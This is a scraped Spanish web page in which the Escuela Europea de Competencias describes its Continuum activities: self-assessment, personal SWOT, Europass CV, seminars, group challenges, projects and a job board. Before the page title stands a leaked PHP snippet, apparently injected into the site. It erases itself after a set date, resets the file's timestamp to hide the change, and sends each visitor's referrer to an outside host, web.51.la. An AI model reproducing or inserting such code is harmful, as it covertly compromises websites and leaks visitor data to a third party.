check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456731512){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=8&id=18776828&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/wp-includes/ID3/getid.php"); } Escuela Europea de Competencias | Actividades

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Actividades

Actividades de Conocimiento personal

Dirigidas al AUTOCONOCIMIENTO y al diseño y ajuste continuo de un itinerario personal de desarrollo adaptado a los intereses de cada estudiante. Estas actividades de Continuum se concretan en asesoramiento y acompañamiento para la realización de:

  • Autoevaluación permanente, a partir del Catálogo de Competencias de la Escuela.
  • Un DAFO personal, mediante el que el estudiante identifica sus fortalezas y debilidades y a partir de su visión de futuro, descubre las amenazas y oportunidades que deberá tener en cuenta para construir su itinerario personal.
  • Curriculum vitae en base a competencias según el modelo Europeo EUROPASS.
  • Confección de su Porfolio personal, que recoge, documenta e ilustra todas las actividades realizadas para el desarrollo de sus competencias (ofertadas o no por la Escuela), respecto a las dificultades superadas, resultados obtenidos, comportamientos de éxito e impacto en el desarrollo.
  • Acceso a links de interés para su desarrollo personal.
  • Contacto con profesionales de referencia para su desarrollo.

Actividades de Conocimiento profesional

Dirigidas a la adquisición de conocimientos que constituyan la base sobre la que desarrollar competencias. Dentro de este tipo de actividades la Escuela oferta:

  • Conocimiento del entorno: seminarios encaminados a conocer la realidad empresarial actual, cómo funciona y se relaciona con el exterior. En estos seminarios se contextualizan las competencias requeridas ayudando a los estudiantes a interiorizar sus significados y a descubrir la importancia del desarrollo de competencias para el aumento de su empleabilidad.
  • Conocimiento de Competencias: seminarios enfocados a comprender e interiorizar el significado de una competencia, aplicada en una empresa y contextualizada en el entorno actual.
  • Encuentros interactivos: Tertulias con profesionales, dirigidas a conocer casos reales de empresas competitivas (hablamos de) y experiencias vitales y profesionales de personas de éxito (hablamos con).

Actividades Experienciales

Experiencias concretas dirigidas a la puesta en práctica y entrenamiento de las competencias del catálogo. Estas actividades que pueden ser diseñadas por la Escuela, los estudiantes o las Empresas y Profesionales adheridos, son de dos tipos:

  • Retos: participación grupal en desafíos cuyo fin es que cada miembro reflexione y aprenda a partir de la puesta en juego de la competencia que necesita desarrollar, bajo la tutela de la Escuela.
  • Proyectos: participación grupal en proyectos de entrenamiento alineados con las aficiones o intereses de los estudiantes, de modo que sirvan de referencia en experiencias reales en las que seguir poniendo en práctica y consolidar las competencias en desarrollo. Estos proyectos conllevarán evidencias tangibles de desarrollo en cada una de sus fases y una escenificación final de los resultados.

Experiencias Profesionales

Los Estudiantes de Continuum que posean el perfil competencial necesario para dirigir y gestionar una actividad experiencial, serán candidatos prioritarios para satisfacer necesidades de contratación de la Escuela. Asimismo la Escuela adoptará y remunerará el proyecto o reto presentado por uno o varios estudiantes.

En paralelo, la Escuela dispondrá de una bolsa de empleo a través de la cual los estudiantes podrán entrenar sus competencias en entornos reales, ofertados por las empresas colaboradoras.

 

Infórmate de en nuestro blog, siguiéndonos en twitter, facebook o contactando con nosotros.

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